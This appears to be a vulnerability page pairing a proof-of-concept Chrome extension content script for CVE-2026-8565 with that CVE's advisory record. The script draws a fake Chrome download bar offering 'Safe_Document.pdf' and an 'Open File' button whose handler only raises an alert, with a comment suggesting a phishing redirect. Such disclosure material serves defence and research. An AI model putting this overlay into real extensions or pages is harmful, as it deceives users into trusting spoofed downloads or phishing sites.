CVE-2026-8565

// PoC Concept: Malicious Chrome Extension Content Script // This script demonstrates how an attacker might inject a fake UI overlay // to spoof the download interface in a vulnerable Chrome version. (function() { // Create a container for the fake UI const fakeUI = document.createElement('div'); fakeUI.id = 'chrome-download-spoof'; // Style the fake UI to look like the native download bar fakeUI.style.position = 'fixed'; fakeUI.style.bottom = '0'; fakeUI.style.left = '0'; fakeUI.style.width = '100%'; fakeUI.style.height = '60px'; fakeUI.style.backgroundColor = '#ffffff'; // Chrome white theme fakeUI.style.borderTop = '1px solid #dadce0'; fakeUI.style.zIndex = '999999'; fakeUI.style.display = 'flex'; fakeUI.style.alignItems = 'center'; fakeUI.style.justifyContent = 'space-between'; fakeUI.style.padding = '0 20px'; fakeUI.style.fontFamily = 'Arial, sans-serif'; fakeUI.style.fontSize = '14px'; // Add malicious content mimicking a safe file download fakeUI.innerHTML = ` <div style="display:flex; align-items:center;"> <div style="width:40px; height:40px; background:#e8f0fe; border-radius:50%; margin-right:15px; display:flex; align-items:center; justify-content:center;">📄</div> <div> <div style="font-weight:bold; color:#202124;">Safe_Document.pdf</div> <div style="color:#5f6368; font-size:12px;">Download complete</div> </div> </div> <button id="malicious-btn" style="background:#1a73e8; color:white; border:none; padding:8px 16px; border-radius:4px; cursor:pointer;">Open File</button> `; // Inject into DOM document.body.appendChild(fakeUI); // Handle interaction (e.g., redirect to phishing site) document.getElementById('malicious-btn').addEventListener('click', () => { alert('UI Spoofing Successful: User clicked fake download button.'); }); })();

{"cve": {"id": "CVE-2026-8565", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:18.663", "lastModified": "2026-05-14T22:16:49.997", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Downloads in Google Chrome on Mac prior to 148.0.7778.168 allowed an attacker who convinced a user to install a malicious extension to perform UI spoofing via a crafted Chrome Extension. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/442860473", "source": "[email protected]"}]}}